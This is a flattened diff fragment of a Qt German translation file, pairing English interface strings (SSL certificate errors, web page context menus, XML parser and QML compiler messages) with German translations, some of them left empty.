aufgetreten: %1 - - Inspect - Inspect Element context menu item - Prüfen + + Error creating SSL context (%1) + Es konnte keine SSL-Kontextstruktur erzeugt werden (%1) - - No recent searches - Label for only item in menu that appears when clicking on the search field image, when no searches have been performed - Es existieren noch keine Suchanfragen + + Invalid or empty cipher list (%1) + Ungültige oder leere Schlüsselliste (%1) - - Recent searches - label for first item in the menu that appears when clicking on the search field image, used as embedded menu title - Bisherige Suchanfragen + + Private key does not certify public key, %1 + Der private Schlüssel passt nicht zum öffentlichen Schlüssel, %1 - - Clear recent searches - menu item in Recent Searches menu that empties menu's contents - Gespeicherte Suchanfragen löschen + + Error creating SSL session, %1 + Es konnte keine SSL-Sitzung erzeugt werden, %1 - - Unknown - Unknown filesize FTP directory listing item - Unbekannt + + Error creating SSL session: %1 + Es konnte keine SSL-Sitzung erzeugt werden: %1 - - Web Inspector - %2 - Web Inspector - %2 + + Cannot provide a certificate with no key, %1 + Ohne Schlüssel kann kein Zertifikat zur Verfügung gestellt werden, %1 - - %1 (%2x%3 pixels) - Title string for images - %1 (%2x%3 Pixel) + + Error loading local certificate, %1 + Das lokale Zertifikat konnte nicht geladen werden, %1 - - Bad HTTP request - Ungültige HTTP-Anforderung + + Error loading private key, %1 + Der private Schlüssel konnte nicht geladen werden, %1 + + + + No error + Kein Fehler - - This is a searchable index. Enter search keywords: - text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index' - Dieser Index verfügt über eine Suchfunktion. Geben Sie einen Suchbegriff ein: + + The issuer certificate could not be found + Das Zertifikat des Ausstellers konnte nicht gefunden werden - - Scroll here - Hierher scrollen + + The certificate signature could not be decrypted + Die Signatur des Zertifikats konnte nicht entschlüsselt werden - Left edge - Linker Rand + The public key in the certificate could not be read + Der öffentliche Schlüssel konnte nicht gelesen werden - - Top - Anfang + + The signature of the certificate is invalid + Die Signatur des Zertifikats ist ungültig - - Right edge - Rechter Rand + + The certificate is not yet valid + Das Zertifikat ist noch nicht gültig - - Bottom - Ende + + The certificate has expired + Die Gültigkeit des Zertifikats ist abgelaufen - Page left - Eine Seite nach links + The certificate's notBefore field contains an invalid time + Das Feld 'notBefore' des Zertifikats enthält eine ungültige Zeit - - Page up - Eine Seite nach oben + + The certificate's notAfter field contains an invalid time + Das Feld 'notAfter' des Zertifikats enthält eine ungültige Zeit - - Page right - Eine Seite nach rechts + + The certificate is self-signed, and untrusted + Das Zertifikat ist selbstsigniert und daher nicht vertrauenswürdig - - Page down - Eine Seite nach unten + + The root certificate of the certificate chain is self-signed, and untrusted + Das oberste Zertifikat der Kette ist selbstsigniert und daher nicht vertrauenswürdig - Scroll left - Nach links scrollen + The issuer certificate of a locally looked up certificate could not be found + Das Zertifikat des Ausstellers eines lokal gefundenen Zertifikats konnte nicht gefunden werden - - Scroll up - Nach oben scrollen + + No certificates could be verified + Keines der Zertifikate konnte verifiziert werden - - Scroll right - Nach rechts scrollen + + One of the CA certificates is invalid + Eines der Zertifikate der Zertifizierungsstelle ist ungültig - - Scroll down - Nach unten scrollen - - - - %n file(s) - number of chosen file - - Eine Datei - %n Dateien - + + The basicConstraints path length parameter has been exceeded + Die Länge des basicConstraints-Pfades wurde überschritten - - JavaScript Alert - %1 - JavaScript-Hinweis - %1 + + The supplied certificate is unsuitable for this purpose + Das angegebene Zertifikat kann in diesem Fall nicht verwendet werden - - JavaScript Confirm - %1 - JavaScript-Bestätigung - %1 + + The root CA certificate is not trusted for this purpose + Das oberste Zertifikat der Zertifizierungsstelle ist für diesen Fall nicht vertrauenswürdig - - JavaScript Prompt - %1 - JavaScript-Eingabeaufforderung - %1 + + The root CA certificate is marked to reject the specified purpose + Das oberste Zertifikat der Zertifizierungsstelle weist diesen Fall auf Grund einer speziellen Kennzeichnung zurück - - JavaScript Problem - %1 - JavaScript-Problem - %1 + + The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate + Das Zertifikat des betrachteten Ausstellers wurde zurückgewiesen da sein Subjektname nicht dem Namen des Austellers des aktuellen Zertifikats entspricht - - The script on this page appears to have a problem. Do you want to stop the script? - Das Skript dieser Webseite ist fehlerhaft. Möchten Sie es anhalten? + + The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate + Das Zertifikat des betrachteten Ausstellers wurde zurückgewiesen da Ausstellername und Seriennummer vorhanden sind und nicht dem Bezeichner der Zertifizierungsstelle des aktuellen Zertifikats entsprechen - - Move the cursor to the next character - Positionsmarke auf folgendes Zeichen setzen + + The peer did not present any certificate + Die Gegenstelle hat kein Zertifikat angegeben - Move the cursor to the previous character - Positionsmarke auf vorangehendes Zeichen setzen + The host name did not match any of the valid hosts for this certificate + Der Name des Hosts ist keiner aus der Liste der für dieses Zertifikat gültigen Hosts - - Move the cursor to the next word - Positionsmarke auf folgendes Wort setzen + + Unknown error + Unbekannter Fehler + + + QStateMachine - - Move the cursor to the previous word - Positionsmarke auf vorangehendes Wort setzen + + Missing initial state in compound state '%1' + Der Anfangszustand des zusammengesetzten Zustands '%1' fehlt - - Move the cursor to the next line - Positionsmarke auf folgende Zeile setzen + + Missing default state in history state '%1' + Der Anfangszustand im Verlauf bei Zustand '%1' fehlt - - Move the cursor to the previous line - Positionsmarke auf vorangehende Zeile setzen + + No common ancestor for targets and source of transition from state '%1' + Die Ziele und die Quelle des Übergangs vom Zustand '%1' haben keinen gemeinsamen Ursprung - - Move the cursor to the start of the line - Positionsmarke auf Zeilenanfang setzen + + Unknown error + Unbekannter Fehler + + + QSystemSemaphore - - Move the cursor to the end of the line - Positionsmarke auf Zeilenende setzen + + %1: does not exist + %1: Nicht existent - - Move the cursor to the start of the block - Positionsmarke auf Anfang des Blocks setzen + + + %1: out of resources + %1: Keine Ressourcen mehr verfügbar - - Move the cursor to the end of the block - Positionsmarke auf Ende des Blocks setzen + + + %1: permission denied + %1: Zugriff verweigert - - Move the cursor to the start of the document - Positionsmarke auf Anfang des Dokumentes setzen + + %1: already exists + %1: Existiert bereits - - Move the cursor to the end of the document - Positionsmarke auf Ende des Dokumentes setzen + + + %1: unknown error %2 + %1: Unbekannter Fehler %2 + + + QTDSDriver - - Select all - Alles auswählen + + Unable to open connection + Die Datenbankverbindung kann nicht geöffnet werden - - Select to the next character - Bis zum nächsten Zeichen markieren + + Unable to use database + Die Datenbank kann nicht verwendet werden + + + QTabBar - - Select to the previous character - Bis zum vorherigen Zeichen markieren + + Scroll Left + Nach links scrollen - - Select to the next word - Bis zum nächsten Wort markieren + + Scroll Right + Nach rechts scrollen + + + QTcpServer - - Select to the previous word - Bis zum vorherigen Wort markieren + + Operation on socket is not supported + Diese Socket-Operation wird nicht unterstützt + + + + QTextControl + + + &Undo + &Rückgängig - - Select to the next line - Bis zur nächsten Zeile markieren + + &Redo + Wieder&herstellen - - Select to the previous line - Bis zur vorherigen Zeile markieren + + Cu&t + &Ausschneiden - - Select to the start of the line - Bis zum Zeilenanfang markieren + + &Copy + &Kopieren - - Select to the end of the line - Bis zum Zeilenende markieren + + Copy &Link Location + &Link-Adresse kopieren - - Select to the start of the block - Bis zum Anfang des Blocks markieren + + &Paste + Einf&ügen - Select to the end of the block - Bis zum Ende des Blocks markieren + Delete + Löschen - - Select to the start of the document - Bis zum Anfang des Dokuments markieren + + Select All + Alles auswählen + + + QToolButton - - Select to the end of the document - Bis zum Ende des Dokuments markieren + + + Press + Drücken - - Delete to the start of the word - Bis zum Anfang des Wortes löschen + + + Open + Öffnen + + + QUdpSocket - - Delete to the end of the word - Bis zum Ende des Wortes löschen + + This platform does not support IPv6 + Diese Plattform unterstützt kein IPv6 + + + QUndoGroup - - Insert a new paragraph - Neuen Abschnitt einfügen + + Undo + Rückgängig - - Insert a new line - Neue Zeile einfügen + + Redo + Wiederherstellen + + + QUndoModel - - Paste and Match Style - Einfügen und dem Stil anpassen + + <empty> + <leer> + + + QUndoStack - - Remove formatting - Formatierung entfernen + + Undo + Rückgängig - - Strikethrough - Durchgestrichen + + Redo + Wiederherstellen + + + QUnicodeControlCharacterMenu - - Subscript - Tiefstellung + + LRM Left-to-right mark + LRM Left-to-right mark - - Superscript - Hochstellung + + RLM Right-to-left mark + RLM Right-to-left mark - - Insert Bulleted List - Liste mit Punkten einfügen + + ZWJ Zero width joiner + ZWJ Zero width joiner - - Insert Numbered List - Nummerierte Liste einfügen + + ZWNJ Zero width non-joiner + ZWNJ Zero width non-joiner - - Indent - Einrücken + + ZWSP Zero width space + ZWSP Zero width space - - Outdent - Einrückung aufheben + + LRE Start of left-to-right embedding + LRE Start of left-to-right embedding - - Center - Zentrieren + + RLE Start of right-to-left embedding + RLE Start of right-to-left embedding - - Justify - Ausrichten + + LRO Start of left-to-right override + LRO Start of left-to-right override - - Align Left - Linksbündig ausrichten + + RLO Start of right-to-left override + RLO Start of right-to-left override - - Align Right - Rechtsbündig ausrichten + + PDF Pop directional formatting + PDF Pop directional formatting - - - QWhatsThisAction - - What's This? - Direkthilfe + + Insert Unicode control character + Unicode-Kontrollzeichen einfügen - QWidget + QWebFrame - - * - * + + Request cancelled + Anfrage wurde abgebrochen - - - QWizard - - Cancel - Abbrechen + + Request blocked + Anfrage wurde abgewiesen - - Help - Hilfe + + Cannot show URL + Der URL kann nicht angezeigt werden - - < &Back - < &Zurück + + Frame load interrupted by policy change + Das Laden des Rahmens wurde durch eine Änderung der Richtlinien unterbrochen - - &Finish - Ab&schließen + + Cannot show mimetype + Dieser Mime-Typ kann nicht angezeigt werden - - &Help - &Hilfe + + File does not exist + Die Datei existiert nicht + + + QWebPage - - Go Back - Zurück + + Submit + default label for Submit buttons in forms on web pages + Senden - - Continue - Weiter + + Submit + Submit (input element) alt text for <input> elements with no alt, title, or value + Senden - Commit - Anwenden + Reset + default label for Reset buttons in forms on web pages + Rücksetzen - - Done - Fertig + + Choose File + title for file button used in HTML forms + Durchsuchen - - &Next - &Weiter + + No file selected + text to display in file button used in HTML forms when no file is selected + Es ist keine Datei ausgewählt - - &Next > - &Weiter > + + Open in New Window + Open in New Window context menu item + In neuem Fenster öffnen + + + + Save Link... + Download Linked File context menu item + Ziel speichern unter... + + + + Copy Link + Copy Link context menu item + Link-Adresse kopieren - - - QWorkspace - - &Restore - Wieder&herstellen + + Open Image + Open Image in New Window context menu item + Grafik in neuem Fenster öffnen - - &Move - Ver&schieben + + Save Image + Download Image context menu item + Grafik speichern unter - - &Size - &Größe ändern + + Copy Image + Copy Link context menu item + Grafik kopieren - - Mi&nimize - M&inimieren + + Open Frame + Open Frame in New Window context menu item + Frame öffnen - - Ma&ximize - Ma&ximieren + + Copy + Copy context menu item + Kopieren - - &Close - Schl&ießen + + Go Back + Back context menu item + Zurück - - Stay on &Top - Im &Vordergrund bleiben + + Go Forward + Forward context menu item + Vor - - Minimize - Minimieren + + Stop + Stop context menu item + Abbrechen - - Restore Down - Wiederherstellen + + Reload + Reload context menu item + Neu laden - - Close - Schließen + + Cut + Cut context menu item + Ausschneiden - - - Sh&ade - &Aufrollen + + Paste + Paste context menu item + Einfügen - - - %1 - [%2] - %1 - [%2] + + No Guesses Found + No Guesses Found context menu item + Keine Vorschläge gefunden - - &Unshade - &Herabrollen + + Ignore + Ignore Spelling context menu item + Ignorieren - - - QXml - - no error occurred - kein Fehler + + Add To Dictionary + Learn Spelling context menu item + In Wörterbuch aufnehmen - - error triggered by consumer - Konsument löste Fehler aus + + Search The Web + Search The Web context menu item + Im Web suchen - - unexpected end of file - unerwartetes Ende der Datei + + Look Up In Dictionary + Look Up in Dictionary context menu item + Im Wörterbuch nachschauen - - more than one document type definition - mehrere Dokumenttypdefinitionen + + Open Link + Open Link context menu item + Adresse öffnen - - error occurred while parsing element - Fehler beim Parsen eines Elements + + Ignore + Ignore Grammar context menu item + Ignorieren - - tag mismatch - Element-Tags sind nicht richtig geschachtelt + + Spelling + Spelling and Grammar context sub-menu item + Rechtschreibung - - error occurred while parsing content - Fehler beim Parsen des Inhalts eines Elements + + Show Spelling and Grammar + menu item title + Rechtschreibung und Grammatik anzeigen - unexpected character - unerwartetes Zeichen + Hide Spelling and Grammar + menu item title + Rechtschreibung und Grammatik nicht anzeigen - - invalid name for processing instruction - kein gültiger Name für eine Processing-Instruktion + + Check Spelling + Check spelling context menu item + Rechtschreibung prüfen - - version expected while reading the XML declaration - fehlende Version beim Parsen der XML-Deklaration + + Check Spelling While Typing + Check spelling while typing context menu item + Rechtschreibung während des Schreibens überprüfen - - wrong value for standalone declaration - falscher Wert für die Standalone-Deklaration + + Check Grammar With Spelling + Check grammar with spelling context menu item + Grammatik mit Rechtschreibung zusammen überprüfen - - error occurred while parsing document type definition - Fehler beim Parsen der Dokumenttypdefinition + + Fonts + Font context sub-menu item + Fonts - - letter is expected - ein Buchstabe ist an dieser Stelle erforderlich + + Bold + Bold context menu item + Fett - - error occurred while parsing comment - Fehler beim Parsen eines Kommentars + + Italic + Italic context menu item + Kursiv - - error occurred while parsing reference - Fehler beim Parsen einer Referenz + + Underline + Underline context menu item + Unterstrichen - - internal general entity reference not allowed in DTD - in einer DTD ist keine interne allgemeine Entity-Referenz erlaubt + + Outline + Outline context menu item + Umriss - - external parsed general entity reference not allowed in attribute value - in einem Attribut-Wert sind keine externen Entity-Referenzen erlaubt + + Direction + Writing direction context sub-menu item + Schreibrichtung - - external parsed general entity reference not allowed in DTD - in der DTD sind keine externen Entity-Referenzen erlaubt + + Text Direction + Text direction context sub-menu item + Schreibrichtung - - unparsed entity reference in wrong context - nicht-analysierte Entity-Referenz im falschen Kontext verwendet + + Default + Default writing direction context menu item + Vorgabe - - recursive entities - rekursive Entity + + Left to Right + Left to Right context menu item + Von links nach rechts - - error in the text declaration of an external entity - Fehler in der Text-Deklaration einer externen Entity + + Right to Left + Right to Left context menu item + Von rechts nach links - - encoding declaration or standalone declaration expected while reading the XML declaration - fehlende Encoding-Deklaration oder Standalone-Deklaration beim Parsen der XML-Deklaration + + Loading... + Media controller status message when the media is loading + Lädt... - - standalone declaration expected while reading the XML declaration - fehlende Standalone-Deklaration beim Parsen der XML Deklaration + + Live Broadcast + Media controller status message when watching a live broadcast + Live-Übertragung - - - QXmlPatternistCLI - - Warning in %1, at line %2, column %3: %4 - Warnung in %1, bei Zeile %2, Spalte %3: %4 + + Audio Element + Media controller element + Audio-Element - - Warning in %1: %2 - Warnung in %1: %2 + + Video Element + Media controller element + Video-Element - - Unknown location - unbekannt + + Mute Button + Media controller element + Stummschalttaste - - Error %1 in %2, at line %3, column %4: %5 - Fehler %1 in %2, bei Zeile %3, Spalte %4: %5 + + Unmute Button + Media controller element + Abstelltaste für Stummschaltung - - Error %1 in %2: %3 - Fehler %1 in %2: %3 + + Play Button + Media controller element + Abspielknopf - - - QXmlStream - - - Extra content at end of document. - Überzähliger Inhalt nach Ende des Dokumentes. + + Pause Button + Media controller element + Pause-Knopf - - Invalid entity value. - Ungültiger Entity-Wert. + + Slider + Media controller element + Schieberegler - - Invalid XML character. - Ungültiges XML-Zeichen. + + Slider Thumb + Media controller element + Schieberegler-Griff - - Sequence ']]>' not allowed in content. - Im Inhalt ist die Zeichenfolge ']]>' nicht erlaubt. + + Rewind Button + Media controller element + Rückspultaste - - Namespace prefix '%1' not declared - Der Namensraum-Präfix '%1' wurde nicht deklariert + + Return to Real-time Button + Media controller element + Kehre zu Echtzeit zurück - - Attribute redefined. - Redefinition eines Attributes. + + Elapsed Time + Media controller element + Spielzeit - - Unexpected character '%1' in public id literal. - '%1' ist kein gültiges Zeichen in einer public-id-Angabe. + + Remaining Time + Media controller element + Verbleibende Zeit - - Invalid XML version string. - Ungültige XML-Versionsangabe. + + Status Display + Media controller element + Statusanzeige - Unsupported XML version. - Diese XML-Version wird nicht unterstützt. + Fullscreen Button + Media controller element + Vollbild-Taste - - %1 is an invalid encoding name. - %1 ist kein gültiger Name für das Encoding. + + Seek Forward Button + Media controller element + Vorlauftaste - - Encoding %1 is unsupported - Das Encoding %1 wird nicht unterstützt + + Seek Back Button + Media controller element + Rücklauftaste - - Standalone accepts only yes or no. - Der Wert für das 'Standalone'-Attribut kann nur 'yes' oder 'no' sein. + + Audio element playback controls and status display + Media controller element + Audio-Steuerung und Statusanzeige - Invalid attribute in XML declaration. - Die XML-Deklaration enthält ein ungültiges Attribut. - - - - Premature end of document. - Vorzeitiges Ende des Dokuments. + Video element playback controls and status display + Media controller element + Video-Steuerung und Statusanzeige - Invalid document. - Ungültiges Dokument. + Mute audio tracks + Media controller element + Schalte Tonspuren stumm - - Expected - Es wurde + + Unmute audio tracks + Media controller element + Stummschaltung der Tonspuren aufheben - - , but got ' - erwartet, stattdessen erhalten ' + + Begin playback + Media controller element + Abspielen - - Unexpected ' - Ungültig an dieser Stelle ' + + Pause playback + Media controller element + Pause - - Expected character data. - Es wurden Zeichendaten erwartet. + + Movie time scrubber + Media controller element + Abspielzeit - - Recursive entity detected. - Es wurde eine rekursive Entity festgestellt. + + Movie time scrubber thumb + Media controller element + Griff zur Einstellung der Abspielzeit - - Start tag expected. - Öffnendes Element erwartet. + + Rewind movie + Media controller element + Film zurückspulen - - XML declaration not at start of document. - Die XML-Deklaration befindet sich nicht am Anfang des Dokuments. + + Return streaming movie to real-time + Media controller element + Setze Film auf Echtzeit zurück - - NDATA in parameter entity declaration. - Eine Parameter-Entity-Deklaration darf kein NDATA enthalten. + + Current movie time + Media controller element + Abspielzeit des Films - - %1 is an invalid processing instruction name. - %1 ist kein gültiger Name für eine Prozessing-Instruktion. + + Remaining movie time + Media controller element + Verbleibende Zeit des Films - - Invalid processing instruction name. - Der Name der Prozessing-Instruktion ist ungültig. + + Current movie status + Media controller element + Status des Films - - - - - Illegal namespace declaration. - Ungültige Namensraum-Deklaration. + + Play movie in full-screen mode + Media controller element + Film im Vollbildmodus abspielen - - Invalid XML name. - Ungültiger XML-Name. + + Seek quickly back + Media controller element + Schnelles Rückwärtssuchen - - Opening and ending tag mismatch. - Die Anzahl der öffnenden Elemente stimmt nicht mit der Anzahl der schließenden Elemente überein. + + Seek quickly forward + Media controller element + Schnelles Vorwärtssuchen - - Reference to unparsed entity '%1'. - Es wurde die ungeparste Entity '%1' referenziert. + + Indefinite time + Media time description + Unbegrenzte Zeit - - - - Entity '%1' not declared. - Die Entity '%1' ist nicht deklariert. + + %1 days %2 hours %3 minutes %4 seconds + Media time description + %1 Tage %2 Stunden %3 Minuten %4 Sekunden - - Reference to external entity '%1' in attribute value. - Im Attributwert wurde die externe Entity '%1' referenziert. + + %1 hours %2 minutes %3 seconds + Media time description + %1 Stunden %2 Minuten %3 Sekunden - - Invalid character reference. - Ungültige Zeichenreferenz. + + %1 minutes %2 seconds + Media time description + %1 Minuten %2 Sekunden - - - Encountered incorrectly encoded content. - Es wurde Inhalt mit einer ungültigen Kodierung gefunden. + + %1 seconds + Media time description + %1 Sekunden - - The standalone pseudo attribute must appear after the encoding. - Das Standalone-Pseudoattribut muss dem Encoding unmittelbar folgen. + + Inspect + Inspect Element context menu item + Prüfen - - %1 is an invalid PUBLIC identifier. - %1 ist keine gültige Angabe für eine PUBLIC-Id. + + No recent searches + Label for only item in menu that appears when clicking on the search field image, when no searches have been performed + Es existieren noch keine Suchanfragen - - - QmlAbstractAnimation - - Cannot animate non-existent property "%1" - Die Eigenschaft '%1" existiert nicht und kann daher nicht animiert werden + + Recent searches + label for first item in the menu that appears when clicking on the search field image, used as embedded menu title + Bisherige Suchanfragen - - Cannot animate read-only property "%1" - Die Eigenschaft '%1" ist schreibgeschützt und kann daher nicht animiert werden + + Clear recent searches + menu item in Recent Searches menu that empties menu's contents + Gespeicherte Suchanfragen löschen - - - QmlBehavior - - Cannot change the animation assigned to a Behavior. - Die zu einem Behavior-Element gehörende Animation kann nicht geändert werden. + + Unknown + Unknown filesize FTP directory listing item + Unbekannt - - - QmlBinding - - Binding loop detected for property "%1" - Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Schleife festgestellt + + Web Inspector - %2 + Web Inspector - %2 - - - QmlCompiler - - - - - Invalid property assignment: "%1" is a read-only property - Ungültige Zuweisung bei Eigenschaft: "%1" ist schreibgeschützt + + %1 (%2x%3 pixels) + Title string for images + %1 (%2x%3 Pixel) - - Invalid property assignment: unknown enumeration - Ungültige Zuweisung bei Eigenschaft: Ungültiger Aufzählungswert + + Bad HTTP request + Ungültige HTTP-Anforderung - - Invalid property assignment: string expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Zeichenkette erwartet + + This is a searchable index. Enter search keywords: + text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index' + Dieser Index verfügt über eine Suchfunktion. Geben Sie einen Suchbegriff ein: - - Invalid property assignment: url expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine URL erwartet + + Scroll here + Hierher scrollen - - Invalid property assignment: unsigned int expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine vorzeichenloser Ganzzahlwert erwartet + + Left edge + Linker Rand - - Invalid property assignment: int expected - Ungültige Zuweisung bei Eigenschaft: Es wird ein Ganzzahlwert erwartet + + Top + Anfang - - Invalid property assignment: float expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Gleitkommazahl erwartet + + Right edge + Rechter Rand - - Invalid property assignment: double expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Gleitkommazahl (double) erwartet + + Bottom + Ende - - Invalid property assignment: color expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Farbspezifikation erwartet + + Page left + Eine Seite nach links - - Invalid property assignment: date expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Datumsangabe erwartet + + Page up + Eine Seite nach oben - - Invalid property assignment: time expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Zeitangabe erwartet + + Page right + Eine Seite nach rechts - - Invalid property assignment: datetime expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Datumsangabe erwartet + + Page down + Eine Seite nach unten - - Invalid property assignment: point expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Koordinatenangabe für einen Punkt erwartet + + Scroll left + Nach links scrollen - - Invalid property assignment: size expected - Ungültige Zuweisung bei Eigenschaft: Es wird eine Größenangabe erwartet + + Scroll up + Nach oben scrollen - - Invalid property assignment: rect expected - Ungültige Zuweisung bei Eigenschaft: Es werden Parameter für ein Rechteck erwartet + + Scroll right + Nach rechts scrollen - - Invalid property assignment: boolean expected - Ungültige Zuweisung bei Eigenschaft: Es wird ein Boolescher Wert erwartet + + Scroll down + Nach unten scrollen - - - Invalid property assignment: 3D vector expected - Ungültige Zuweisung bei Eigenschaft: Es wird ein dreidimensionaler Vektor erwartet + + + %n file(s) + number of chosen file + + Eine Datei + %n Dateien + - - Invalid property assignment: unsupported type "%1" - Ungültige Zuweisung bei Eigenschaft: Der Typ "%1" ist nicht unterstützt + + JavaScript Alert - %1 + JavaScript-Hinweis - %1 - - - Invalid component specification - + + JavaScript Confirm - %1 + JavaScript-Bestätigung - %1 - - Invalid component id specification - + + JavaScript Prompt - %1 + JavaScript-Eingabeaufforderung - %1 - - - id is not unique - + + JavaScript Problem - %1 + JavaScript-Problem - %1 - - Invalid component body specification - + + The script on this page appears to have a problem. Do you want to stop the script? + Das Skript dieser Webseite ist fehlerhaft. Möchten Sie es anhalten? - - Cannot create empty component specification - + + Move the cursor to the next character + Positionsmarke auf folgendes Zeichen setzen - - Invalid Script block. Specify either the source property or inline script - + + Move the cursor to the previous character + Positionsmarke auf vorangehendes Zeichen setzen - - Invalid Script source value - + + Move the cursor to the next word + Positionsmarke auf folgendes Wort setzen - - Properties cannot be set on Script block - + + Move the cursor to the previous word + Positionsmarke auf vorangehendes Wort setzen - - Invalid Script block - + + Move the cursor to the next line + Positionsmarke auf folgende Zeile setzen - - Incorrectly specified signal - + + Move the cursor to the previous line + Positionsmarke auf vorangehende Zeile setzen - - Empty signal assignment - + + Move the cursor to the start of the line + Positionsmarke auf Zeilenanfang setzen - - Empty property assignment - + + Move the cursor to the end of the line + Positionsmarke auf Zeilenende setzen - - Attached properties cannot be used here - + + Move the cursor to the start of the block + Positionsmarke auf Anfang des Blocks setzen - - - Non-existent attached object - + + Move the cursor to the end of the block + Positionsmarke auf Ende des Blocks setzen - - - Invalid attached object assignment - + + Move the cursor to the start of the document + Positionsmarke auf Anfang des Dokumentes setzen - - Cannot assign to non-existent default property - + + Move the cursor to the end of the document + Positionsmarke auf Ende des Dokumentes setzen - - - Cannot assign to non-existent property "%1" - + + Select all + Alles auswählen - - Invalid use of namespace - + + Select to the next character + Bis zum nächsten Zeichen markieren - - Not an attached property name - + + Select to the previous character + Bis zum vorherigen Zeichen markieren - - Invalid use of id property - + + Select to the next word + Bis zum nächsten Wort markieren - - "%1" is not a valid object id - + + Select to the previous word + Bis zum vorherigen Wort markieren - - id conflicts with type name - + + Select to the next line + Bis zur nächsten Zeile markieren - - id conflicts with namespace prefix - + + Select to the previous line + Bis zur vorherigen Zeile markieren - - Invalid value in grouped property - + + Select to the start of the line + Bis zum Zeilenanfang markieren - - - Invalid grouped property access - + + Select to the end of the line + Bis zum Zeilenende markieren - - Invalid property use - + + Select to the start of the block + Bis zum Anfang des Blocks markieren - - Property assignment expected - + + Select to the end of the block + Bis zum Ende des Blocks markieren - Single property assignment expected - + Select to the start of the document + Bis zum Anfang des Dokuments markieren - - Unexpected object assignment - + + Select to the end of the document + Bis zum Ende des Dokuments markieren - - Cannot assign object to list - + + Delete to the start of the word + Bis zum Anfang des Wortes löschen - - Cannot assign primitives to lists - + + Delete to the end of the word + Bis zum Ende des Wortes löschen - - Can only assign one binding to lists - + + Insert a new paragraph + Neuen Abschnitt einfügen - - Cannot assign multiple values to a script property - + + Insert a new line + Neue Zeile einfügen - - Invalid property assignment: script expected - + + Paste and Match Style + Einfügen und dem Stil anpassen - - Cannot assign object to property - + + Remove formatting + Formatierung entfernen - - Duplicate default property - + + Strikethrough + Durchgestrichen - - Duplicate property name - + + Subscript + Tiefstellung - - Duplicate signal name - + + Superscript + Hochstellung - - Duplicate method name - + + Insert Bulleted List + Liste mit Punkten einfügen - - Invalid property nesting - + + Insert Numbered List + Nummerierte Liste einfügen - - Cannot override FINAL property - + + Indent + Einrücken - - Invalid property type - + + Outdent + Einrückung aufheben - - - No property alias location - + + Center + Zentrieren - - - Invalid alias location - + + Justify + Ausrichten - - Invalid alias reference. An alias reference must be specified as <id> or <id>.<property> - + + Align Left + Linksbündig ausrichten - Invalid alias reference. Unable to find id "%1" - + Align Right + Rechtsbündig ausrichten - QmlCompositeTypeManager + QWhatsThisAction - - - Resource %1 unavailable - + + What's This? + Direkthilfe + + + QWidget - - Import %1 unavailable - + + * + * + + + QWizard - - Namespace %1 cannot be used as a type - + + Cancel + Abbrechen - %1 is not a type - + Help + Hilfe - - Type %1 unavailable - + + < &Back + < &Zurück - - - QmlEngine - - executeSql called outside transaction() - + + &Finish + Ab&schließen - - Read-only Transaction - + + &Help + &Hilfe - - Version mismatch: expected %1, found %2 - + + Go Back + Zurück + + + + Continue + Weiter + + + + Commit + Anwenden - - SQL transaction failed - + + Done + Fertig - - transaction: missing callback - + + &Next + &Weiter - - - SQL: database version mismatch - + + &Next > + &Weiter > - QmlGraphicsAnchors - - - Possible anchor loop detected on fill. - - + QWorkspace - - Possible anchor loop detected on centerIn. - + + &Restore + Wieder&herstellen - - - - - Cannot anchor to an item that isn't a parent or sibling. - + + &Move + Ver&schieben - - Possible anchor loop detected on vertical anchor. - + + &Size + &Größe ändern - - Possible anchor loop detected on horizontal anchor. - + + Mi&nimize + M&inimieren - - Cannot specify left, right, and hcenter anchors. - + + Ma&ximize + Ma&ximieren - - - Cannot anchor to a null item. - + + &Close + Schl&ießen - - Cannot anchor a horizontal edge to a vertical edge. - + + Stay on &Top + Im &Vordergrund bleiben - - - Cannot anchor item to self. - + + Minimize + Minimieren - - Cannot specify top, bottom, and vcenter anchors. - + + Restore Down + Wiederherstellen - - Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors. - + + Close + Schließen - - Cannot anchor a vertical edge to a horizontal edge. - + + + Sh&ade + &Aufrollen - - - QmlGraphicsFlipable - - front is a write-once property - + + + %1 - [%2] + %1 - [%2] - - back is a write-once property - + + &Unshade + &Herabrollen - QmlGraphicsTextInput + QXml - - - Could not load cursor delegate - + + no error occurred + kein Fehler - - Could not instantiate cursor delegate - + + error triggered by consumer + Konsument löste Fehler aus - - - QmlGraphicsVisualDataModel - - Delegate component must be Item type. - + + unexpected end of file + unerwartetes Ende der Datei - - - QmlInfo - - - unknown location - + + more than one document type definition + mehrere Dokumenttypdefinitionen - - - QmlListModel - - remove: index %1 out of range - + + error occurred while parsing element + Fehler beim Parsen eines Elements - - insert: value is not an object - + + tag mismatch + Element-Tags sind nicht richtig geschachtelt - - insert: index %1 out of range - + + error occurred while parsing content + Fehler beim Parsen des Inhalts eines Elements - - move: out of range - + + unexpected character + unerwartetes Zeichen - - append: value is not an object - + + invalid name for processing instruction + kein gültiger Name für eine Processing-Instruktion - - get: index %1 out of range - + + version expected while reading the XML declaration + fehlende Version beim Parsen der XML-Deklaration - - set: value is not an object - + + wrong value for standalone declaration + falscher Wert für die Standalone-Deklaration - - - set: index %1 out of range - + + error occurred while parsing document type definition + Fehler beim Parsen der Dokumenttypdefinition - - ListElement: cannot use default property - + + letter is expected + ein Buchstabe ist an dieser Stelle erforderlich - - ListElement: cannot use reserved "id" property - + + error occurred while parsing comment + Fehler beim Parsen eines Kommentars - - ListElement: cannot use script for property value - + + error occurred while parsing reference + Fehler beim Parsen einer Referenz - - ListModel: undefined property '%1' - + + internal general entity reference not allowed in DTD + in einer DTD ist keine interne allgemeine Entity-Referenz erlaubt - - - QmlParentChange - - Unable to preserve appearance under complex transform - + + external parsed general entity reference not allowed in attribute value + in einem Attribut-Wert sind keine externen Entity-Referenzen erlaubt - - - Unable to preserve 